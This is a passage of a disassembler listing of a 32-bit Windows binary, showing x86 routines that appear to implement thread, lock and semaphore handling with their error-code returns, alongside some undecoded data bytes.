; ---------------------------------------------------------------------------
loc_42F9BB: ; CODE XREF: sub_42F840+171j
mov [esp+14h+arg_0], 10h
mov esi, [esp+14h+arg_0]
loc_42F9C7: ; CODE XREF: sub_42F840+179j
push offset dword_50E940
nop
call near ptr 7C9010EDh
loc_42F9D2: ; CODE XREF: sub_42F840+161j
test esi, esi
jz short loc_42F9DE
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F9DE: ; CODE XREF: sub_42F840+194j
test ebp, ebp
mov eax, ebp
jnz short loc_42F9F1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F9EC: ; CODE XREF: sub_42F840+15j
; sub_42F840+1Fj
mov eax, 16h
loc_42F9F1: ; CODE XREF: sub_42F840+1A2j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42F840 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FA70 proc near ; CODE XREF: sub_401203j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 0
push eax
push ecx
call sub_42FAA0
add esp, 0Ch
retn
sub_42FA70 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FAA0 proc near ; CODE XREF: sub_42FA70+Cp
; sub_42FD70+19p
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 20h
push esi
mov esi, [esp+24h+arg_0]
test esi, esi
push edi
mov [esp+28h+var_20], 0
jz loc_42FBA9
mov eax, [esi]
test eax, eax
jz loc_42FBA9
cmp eax, 0FFFFFFFFh
jnz short loc_42FAE2
push esi
call sub_401B4F
add esp, 4
mov [esp+28h+var_20], eax
test eax, eax
jz short loc_42FAE2
cmp eax, 10h
jnz loc_42FBAE
loc_42FAE2: ; CODE XREF: sub_42FAA0+26j
; sub_42FAA0+37j
mov esi, [esi]
lea edi, [esi+10h]
push edi
call sub_401041
add esp, 4
test eax, eax
jz short loc_42FB02
call near ptr 77C1F2BCh
nop
mov eax, [eax]
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_42FB02: ; CODE XREF: sub_42FAA0+52j
mov ecx, [esi]
push edi
inc ecx
mov [esi], ecx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42FB22
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_42FB22: ; CODE XREF: sub_42FAA0+72j
mov edi, [esp+28h+arg_4]
lea ecx, [esp+28h+var_10]
push ecx
lea edx, [esp+2Ch+var_1C]
lea eax, [esp+2Ch+var_20]
push offset loc_42FC10
push edx
mov [esp+34h+var_10], edi
mov [esp+34h+var_C], esi
mov [esp+34h+var_8], eax
mov [esp+34h+var_4], 0
call sub_401659
; ---------------------------------------------------------------------------
dw 0E857h
dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h
dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 0F73EE890h
dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h
dd 20C4835Eh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_42FBA9: ; CODE XREF: sub_42FAA0+13j
; sub_42FAA0+1Dj
mov eax, 16h
loc_42FBAE: ; CODE XREF: sub_42FAA0+3Cj
pop edi
pop esi
add esp, 20h
retn
sub_42FAA0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FC10: ; DATA XREF: sub_42FAA0+93o
push ecx
push ebx
push ebp
mov ebp, [esp+10h]
push esi
push edi
mov esi, [ebp+4]
mov ebx, [ebp+8]
mov [esp+18h], ebx
lea edi, [esi+14h]
push edi
call sub_402225
add esp, 4
test eax, eax
jz short loc_42FC3B
pop edi
pop esi
mov [ebx], eax
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FC3B: ; CODE XREF: ___:0042FC31j
mov ebx, [esi+8]
test ebx, ebx
mov [esp+10h], ebx
jz short loc_42FC4E
lea eax, [ebx-1]
mov [esi+8], eax
jmp short loc_42FCB7
; ---------------------------------------------------------------------------
loc_42FC4E: ; CODE XREF: ___:0042FC44j
mov ecx, [esi+4]
inc ecx
mov eax, ecx
mov [esi+4], ecx
cmp eax, 3FFFFFFFh
jnz short loc_42FCB7
lea ebx, [esi+10h]
push ebx
call sub_401041
add esp, 4
test eax, eax
jz short loc_42FC82
nop
call near ptr 77C1F2BCh
mov edx, [esp+18h]
mov ecx, [eax]
pop edi
pop esi
pop ebp
mov [edx], ecx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FC82: ; CODE XREF: ___:0042FC6Cj
mov eax, [esi+4]
mov ecx, [esi]
sub ecx, eax
push ebx
mov [esi], ecx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42FCAC
nop
call near ptr 77C1F2BCh
mov edx, [esp+18h]
mov ecx, [eax]
pop edi
pop esi
pop ebp
mov [edx], ecx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FCAC: ; CODE XREF: ___:0042FC96j
mov ebx, [esp+10h]
mov dword ptr [esi+4], 0
loc_42FCB7: ; CODE XREF: ___:0042FC4Cj
; ___:0042FC5Cj
push edi
call sub_4010C3
add esp, 4
test eax, eax
jz short loc_42FCD0
mov ecx, [esp+18h]
pop edi
pop esi
pop ebp
mov [ecx], eax
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FCD0: ; CODE XREF: ___:0042FCC2j
cmp ebx, 1
jnz short loc_42FCF9
add esi, 10h
push esi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42FCF9
call near ptr 77C1F2BCh
nop
mov edx, [eax]
mov eax, [esp+18h]
pop edi
pop esi
pop ebp
mov [eax], edx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FCF9: ; CODE XREF: ___:0042FCD3j
; ___:0042FCE3j
mov ecx, [ebp+0]
push ecx
call sub_402225
add esp, 4
test eax, eax
jz short loc_42FD0F
mov edx, [esp+18h]
mov [edx], eax
loc_42FD0F: ; CODE XREF: ___:0042FD07j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FD70 proc near ; CODE XREF: sub_4011E0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jnz short loc_42FD7E
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_42FD7E: ; CODE XREF: sub_42FD70+6j
mov ecx, [esp+arg_0]
push eax
mov eax, [esp+4+arg_4]
push eax
push ecx
call sub_42FAA0
add esp, 0Ch
retn
sub_42FD70 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FDB0 proc near ; CODE XREF: sub_401E51j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_42FDD0
add esp, 8
retn
sub_42FDB0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FDD0 proc near ; CODE XREF: sub_42FDB0+7p
; sub_42FF30+7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebx
push esi
push edi
test eax, eax
jz loc_42FED4
mov esi, [eax]
test esi, esi
jz loc_42FED4
cmp esi, 0FFFFFFFFh
jnz short loc_42FDF4
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42FDF4: ; CODE XREF: sub_42FDD0+1Cj
lea ebx, [esi+14h]
push ebx
call sub_402225
add esp, 4
test eax, eax
jnz loc_42FED9
mov ecx, [esi+8]
mov eax, [esi]
test ecx, ecx
jz short loc_42FE44
test eax, eax
jnz short loc_42FE22
loc_42FE15: ; CODE XREF: sub_42FDD0+77j
push ebx
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42FE22: ; CODE XREF: sub_42FDD0+43j
mov edx, [esp+0Ch+arg_4]
test edx, edx
jz short loc_42FE39
mov edi, eax
mov dword ptr [esi], 0
add ecx, edi
mov [esi+8], ecx
jmp short loc_42FEA6
; ---------------------------------------------------------------------------
loc_42FE39: ; CODE XREF: sub_42FDD0+58j
inc ecx
mov edi, 1
mov [esi+8], ecx
jmp short loc_42FEA3
; ---------------------------------------------------------------------------
loc_42FE44: ; CODE XREF: sub_42FDD0+3Fj
cmp eax, [esi+4]
jle short loc_42FE15
lea ecx, [esi+10h]
push ecx
call sub_401041
add esp, 4
test eax, eax
jz short loc_42FE70
nop
call near ptr 77C1F2BCh
mov esi, [eax]
push ebx
call sub_4010C3
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42FE70: ; CODE XREF: sub_42FDD0+87j
mov eax, [esi+4]
test eax, eax
jz short loc_42FE84
mov ecx, [esi]
mov dword ptr [esi+4], 0
sub ecx, eax
mov [esi], ecx
loc_42FE84: ; CODE XREF: sub_42FDD0+A5j
mov eax, [esp+0Ch+arg_4]
test eax, eax
jz short loc_42FE99
mov edi, [esi]
mov dword ptr [esi], 0
mov [esi+8], edi
jmp short loc_42FEA6
; ---------------------------------------------------------------------------
loc_42FE99: ; CODE XREF: sub_42FDD0+BAj
mov eax, [esi]
mov edi, 1
mov [esi+8], edi
loc_42FEA3: ; CODE XREF: sub_42FDD0+72j
dec eax
mov [esi], eax
loc_42FEA6: ; CODE XREF: sub_42FDD0+67j
; sub_42FDD0+C7j
push ebx
call sub_4010C3
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_42FECE
add esi, 0Ch
push edi
push esi
call sub_40204A
add esp, 8
test eax, eax
jz short loc_42FECE
nop
call near ptr 77C1F2BCh
mov ebx, [eax]
loc_42FECE: ; CODE XREF: sub_42FDD0+E3j
; sub_42FDD0+F4j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42FED4: ; CODE XREF: sub_42FDD0+9j
; sub_42FDD0+13j
mov eax, 16h
loc_42FED9: ; CODE XREF: sub_42FDD0+32j
pop edi
pop esi
pop ebx
retn
sub_42FDD0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FF30 proc near ; CODE XREF: sub_401604j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_42FDD0
add esp, 8
retn
sub_42FF30 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FF50 proc near ; CODE XREF: sub_40123Aj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ecx
push ebx
push esi
push edi
mov edi, 0Bh
xor ebx, ebx
call sub_401B13
mov esi, eax
test esi, esi
jz loc_430026
mov eax, [esi+28h]
push 0Ch
mov [esp+14h+var_4], eax
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jz loc_430026
mov ecx, [esp+10h+arg_8]
mov edx, [esp+10h+arg_C]
push ebp
mov ebp, [esp+14h+arg_4]
test ebp, ebp
mov [ebx], esi
mov [ebx+4], ecx
mov [ebx+8], edx
jz short loc_42FFCE
mov eax, [ebp+0]
test eax, eax
jz short loc_42FFCE
mov edi, [eax+8]
mov eax, [eax+0Ch]
mov [esi+20h], eax
mov eax, [ebp+0]
mov ecx, [eax+10h]
mov [esp+14h+var_4], ecx
mov ecx, [eax+14h]
test ecx, ecx
jnz short loc_42FFD0
call sub_4012E4
; ---------------------------------------------------------------------------
mov edx, [eax+28h]
mov [esp+14h+var_4], edx
jmp short loc_42FFD0
; ---------------------------------------------------------------------------
loc_42FFCE: ; CODE XREF: sub_42FF50+4Dj
; sub_42FF50+54j
xor edi, edi
loc_42FFD0: ; CODE XREF: sub_42FF50+6Ej
; sub_42FF50+7Cj
push esi
push 4
push ebx
xor eax, eax
push offset loc_401B95
push edi
push eax
mov [esi+0Ch], eax
mov [esi+80h], eax
nop
call near ptr 77C3A3DBh
mov edi, eax
add esp, 18h
test edi, edi
mov [esi+4], edi
jz short loc_430019
test ebp, ebp
jz short loc_430012
cmp dword ptr [ebp+0], 0
jz short loc_430012
mov eax, [esp+14h+var_4]
push eax
push 0
push esi
call sub_4020B3
add esp, 0Ch
loc_430012: ; CODE XREF: sub_42FF50+AAj
; sub_42FF50+B0j
push edi
nop
call near ptr 2770000h
loc_430019: ; CODE XREF: sub_42FF50+A6j
neg edi
sbb edi, edi
pop ebp
and edi, 0FFFFFFF5h
add edi, 0Bh
jz short loc_430059
loc_430026: ; CODE XREF: sub_42FF50+14j
; sub_42FF50+30j
push esi
call sub_4017AD
add esp, 4
xor esi, esi
test ebx, ebx
jz short loc_43004C
push ebx
call near ptr 77C2C21Bh
nop
mov ecx, [esp+14h+arg_0]
add esp, 4
mov eax, edi
mov [ecx], esi
pop edi
pop esi
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43004C: ; CODE XREF: sub_42FF50+E3j
mov edx, [esp+10h+arg_0]
mov eax, edi
pop edi
mov [edx], esi
pop esi
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430059: ; CODE XREF: sub_42FF50+D4j
mov eax, [esp+10h+arg_0]
mov [eax], esi
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
retn
sub_42FF50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4300C0: ; CODE XREF: ___:00401343j
mov ecx, [esp+8]
mov eax, 1
cmp ecx, 3 ; switch 4 cases
ja short locret_4300F7 ; default
jmp off_4300FC[ecx*4] ; switch jump
loc_4300D5: ; DATA XREF: ___:off_4300FCo
call sub_401708 ; jumptable 004300CE case 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_4300DD: ; CODE XREF: ___:004300CEj
; DATA XREF: ___:off_4300FCo
call sub_4017B2 ; jumptable 004300CE case 2
retn 0Ch
; ---------------------------------------------------------------------------
loc_4300E5: ; CODE XREF: ___:004300CEj
; DATA XREF: ___:off_4300FCo
call sub_4017C1 ; jumptable 004300CE case 3
retn 0Ch
; ---------------------------------------------------------------------------
loc_4300ED: ; CODE XREF: ___:004300CEj
; DATA XREF: ___:off_4300FCo
call sub_4017C1 ; jumptable 004300CE case 0
call sub_40161D
locret_4300F7: ; CODE XREF: ___:004300CCj
retn 0Ch ; default
; ---------------------------------------------------------------------------
align 4
off_4300FC dd offset loc_4300ED ; DATA XREF: ___:004300CEr
dd offset loc_4300D5 ; jump table for switch statement
dd offset loc_4300DD
dd offset loc_4300E5
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430130: ; CODE XREF: ___:004017B7j
mov eax, dword_50E3E8
push esi
push edi
push eax
call sub_401190
; ---------------------------------------------------------------------------
db 8Bh, 7Ch, 24h
dd 83F08B10h, 0F68504C4h, 90570A75h, 80A1B6E8h, 4C48377h
dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h)
dd 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_430180 proc near ; CODE XREF: sub_401758j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push offset dword_50E900
xor esi, esi
nop
call near ptr 7C901005h
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_4301AB
mov eax, [eax+4]
test eax, eax
jz short loc_4301AB
push eax
nop
call near ptr 2760576h
cmp eax, 7FFFFFFFh
jnz short loc_4301B0
loc_4301AB: ; CODE XREF: sub_430180+14j
; sub_430180+1Bj
mov esi, 3
loc_4301B0: ; CODE XREF: sub_430180+29j
push offset dword_50E900
nop
call near ptr 7C9010EDh
test esi, esi
jnz short loc_4301CC
mov eax, [esp+4+arg_4]
test eax, eax
mov eax, 16h
jnz short loc_4301CE
loc_4301CC: ; CODE XREF: sub_430180+3Dj
mov eax, esi
loc_4301CE: ; CODE XREF: sub_430180+4Aj
pop esi
retn
sub_430180 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4301F0: ; CODE XREF: ___:0040164Aj
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz short loc_430241
mov edi, [esp+14h]
test edi, edi
jz short loc_430241
mov eax, [esi]
xor ebx, ebx
test eax, eax
jnz short loc_430221
lea eax, [esi+4]
push eax
call near ptr 2760511h
nop
test eax, eax
jnz short loc_430227
call edi ; _errno
mov dword ptr [esi], 1
loc_430221: ; CODE XREF: ___:00430209j
; ___:0043022Aj
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430227: ; CODE XREF: ___:00430217j
cmp dword ptr [esi], 0
jnz short loc_430221
mov edi, dword_50F8D0
loc_430232: ; CODE XREF: ___:00430239j
push 0
call edi ; dword_50F8D0
cmp dword ptr [esi], 0
jz short loc_430232
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430241: ; CODE XREF: ___:004301F9j
; ___:00430201j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430270 proc near ; CODE XREF: sub_4012E4j
mov eax, dword_50E3E8
push esi
push edi
push eax
call sub_401190
sub_430270 endp
; ---------------------------------------------------------------------------
db 8Bh, 0F0h, 83h
dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h, 7C7E8B5Bh
dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 2320A6Ch, 0F8701D8Bh
dd 26A0050h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 949E850h
dd 50900235h, 0E850D3FFh, 232FD34h, 5BC08590h, 0E8560E75h
dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 33028DE8h
dd 28468902h, 0E3E8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh
dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_430340 proc near ; CODE XREF: sub_401A50j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jnz short loc_43035E
test eax, eax
jz short loc_430358
mov eax, [eax]
mov edx, [ecx]
cmp eax, edx
jnz short loc_43035E
loc_430358: ; CODE XREF: sub_430340+Ej
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_43035E: ; CODE XREF: sub_430340+Aj
; sub_430340+16j
xor eax, eax
retn
sub_430340 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430380: ; CODE XREF: ___:00401FF0j
mov eax, [esp+4]
test eax, eax
jge short loc_43038E
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_43038E: ; CODE XREF: ___:00430386j
mov dword_50E3F8, eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4303B0: ; CODE XREF: ___:0040155Aj
mov eax, dword_50E3F8
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4303D0 proc near ; CODE XREF: sub_401B13j
push esi
call sub_401307
mov esi, eax
test esi, esi
jnz short loc_4303F2
push 84h
push 1
call near ptr 77C2C0C3h
nop
mov esi, eax
add esp, 8
test esi, esi
jz short loc_430439
loc_4303F2: ; CODE XREF: sub_4303D0+Aj
push 0
push 0
or eax, 0FFFFFFFFh
push 1
push 0
mov dword ptr [esi+28h], 0
mov dword ptr [esi+20h], 0
mov dword ptr [esi+30h], 0
mov dword ptr [esi+34h], 1
mov [esi+2Ch], eax
mov [esi+24h], eax
call near ptr 275091Ch
nop
test eax, eax
mov [esi+38h], eax
jnz short loc_430439
push esi
call sub_401BBD
add esp, 4
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_430439: ; CODE XREF: sub_4303D0+20j
; sub_4303D0+5Aj
mov eax, esi
pop esi
retn
sub_4303D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430460 proc near ; CODE XREF: sub_401307j
push esi
push offset dword_50E900
call near ptr 7C901005h
nop
mov esi, dword_44574C
cmp esi, 1
jz short loc_430495
mov eax, [esi+8]
push offset dword_50E900
mov dword_44574C, eax
mov dword ptr [esi+8], 0
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430495: ; CODE XREF: sub_430460+15j
push offset dword_50E900
xor esi, esi
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_430460 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4304D0 proc near ; CODE XREF: sub_401BBDj
arg_0 = dword ptr 4
push edi
push offset dword_50E900
nop
call near ptr 7C901005h
mov edx, [esp+4+arg_0]
mov ecx, 21h
xor eax, eax
mov edi, edx
rep stosd
mov eax, dword_44574C
push offset dword_50E900
mov [edx+8], eax
mov dword_44574C, edx
nop
call near ptr 7C9010EDh
pop edi
retn
sub_4304D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430520 proc near ; CODE XREF: sub_401640j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0FFFFFFFFh
push eax
call sub_430540
sub_430520 endp
; ---------------------------------------------------------------------------
add esp, 8
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430540 proc near ; CODE XREF: sub_430520+7p
; sub_430660+Ap
var_8 = dword ptr -8
arg_0 = dword ptr 4
sub esp, 8
mov eax, [esp+8+arg_0]
push esi
push edi
mov edi, 1
mov [esp+10h+var_8], eax
call sub_4012E4
sub_430540 endp
; ---------------------------------------------------------------------------
mov esi, eax
test esi, esi
jz short loc_430576
mov eax, [esi+30h]
test eax, eax
jnz short loc_43057E
mov eax, [esi+38h]
test eax, eax
mov [esp+0Ch], eax
jz short loc_43057E
mov edi, 2
jmp short loc_43057E
; ---------------------------------------------------------------------------
loc_430576: ; CODE XREF: ___:0043055Bj
mov dword ptr [esp+0Ch], 0
loc_43057E: ; CODE XREF: ___:00430562j
; ___:0043056Dj ...
mov ecx, [esp+18h]
lea edx, [esp+8]
push ecx
push 0
push edx
push edi
call near ptr 2750767h
nop
mov ecx, eax
sub ecx, 0
jz short loc_430609
dec ecx
jz short loc_4305B4
sub eax, 102h
pop edi
neg eax
sbb eax, eax
pop esi
and eax, 0FFFFD8CAh
add eax, 274Ch
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_4305B4: ; CODE XREF: ___:00430599j
mov eax, [esp+0Ch]
push eax
call near ptr 2770526h
nop
test esi, esi
jz short loc_4305FE
lea edi, [esi+2Ch]
push edi
call sub_402225
mov ecx, [esi+0Ch]
mov eax, 3
add esp, 4
cmp ecx, eax
jge short loc_4305F5
push edi
mov [esi+0Ch], eax
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DD4
; ---------------------------------------------------------------------------
add esp, 8
loc_4305F5: ; CODE XREF: ___:004305D9j
push edi
call sub_4010C3
add esp, 4
loc_4305FE: ; CODE XREF: ___:004305C1j
pop edi
mov eax, 16h
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_430609: ; CODE XREF: ___:00430596j
pop edi
xor eax, eax
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430660 proc near ; CODE XREF: sub_401D70j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_430540
sub_430660 endp
; ---------------------------------------------------------------------------
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430690 proc near ; CODE XREF: sub_401C03j
arg_0 = dword ptr 4
push esi
push offset dword_50E960
xor esi, esi
call near ptr 7C901005h
nop
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_4306C4
push esi
push ecx
call sub_402199
add esp, 8
mov esi, eax
push offset dword_50E960
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4306C4: ; CODE XREF: sub_430690+17j
test eax, eax
jnz short loc_4306CD
mov esi, 16h
loc_4306CD: ; CODE XREF: sub_430690+36j
push offset dword_50E960
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
sub_430690 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430700 proc near ; CODE XREF: sub_402199j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebp
xor ebp, ebp
push edi
test eax, eax
jnz short loc_430714
pop edi
mov eax, 16h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430714: ; CODE XREF: sub_430700+Aj
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_43072F
mov eax, [edi]
test eax, eax
jz short loc_43072F
cmp dword ptr [eax], 1
jnz short loc_43072F
pop edi
mov eax, 28h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_43072F: ; CODE XREF: sub_430700+1Aj
; sub_430700+20j ...
push esi
push 2Ch
push 1
call near ptr 77C2C0C3h
nop
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_430754
mov edx, [esp+0Ch+arg_0]
mov ebp, 0Ch
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430754: ; CODE XREF: sub_430700+41j
test edi, edi
mov dword ptr [esi], 0FFFFFFFFh
mov dword ptr [esi+4], 0
jz short loc_430770
mov edi, [edi]
test edi, edi
jz short loc_430770
mov edi, [edi+4]
jmp short loc_430772
; ---------------------------------------------------------------------------
loc_430770: ; CODE XREF: sub_430700+63j
; sub_430700+69j
xor edi, edi
loc_430772: ; CODE XREF: sub_430700+6Ej
push 0
lea eax, [esi+10h]
push 0
push eax
mov [esi+8], edi
mov dword ptr [esi+0Ch], 0
call sub_401C76
add esp, 0Ch
test eax, eax
jz short loc_4307AD
push esi
mov ebp, 0Bh
call near ptr 77C2C21Bh
nop
mov edx, [esp+10h+arg_0]
add esp, 4
xor esi, esi
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4307AD: ; CODE XREF: sub_430700+8Ej
lea ecx, [esi+14h]
push ecx
call near ptr 2780835h
nop
mov edx, [esp+0Ch+arg_0]
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
sub_430700 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430810 proc near ; CODE XREF: sub_40222Fj
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
test edi, edi
jz loc_4308F0
mov eax, [edi]
test eax, eax
jz loc_4308F0
cmp eax, 0FFFFFFFFh
jz loc_4308B5
mov [esp+8+arg_0], eax
lea eax, [esp+8+arg_0]
push eax
call sub_40177B
mov esi, eax
add esp, 4
test esi, esi
jnz loc_4308EB
mov ecx, [esp+8+arg_0]
mov eax, [ecx+4]
cmp eax, 1
jnz short loc_4308A7
lea ecx, [esp+8+arg_0]
mov [edi], esi
push ecx
call sub_4010C3
mov edx, [esp+0Ch+arg_0]
mov esi, eax
add esp, 4
test esi, esi
jnz short loc_4308A0
add edx, 10h
push edx
call sub_401686
mov eax, [esp+0Ch+arg_0]
add esp, 4
add eax, 14h
push eax
call near ptr 2780000h
nop
mov ecx, [esp+8+arg_0]
push ecx
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308A0: ; CODE XREF: sub_430810+61j
mov [edi], edx
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308A7: ; CODE XREF: sub_430810+48j
dec eax
mov esi, 10h
mov [ecx+4], eax
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308B5: ; CODE XREF: sub_430810+1Dj
push offset dword_50E960
nop
call near ptr 7C901005h
cmp dword ptr [edi], 0FFFFFFFFh
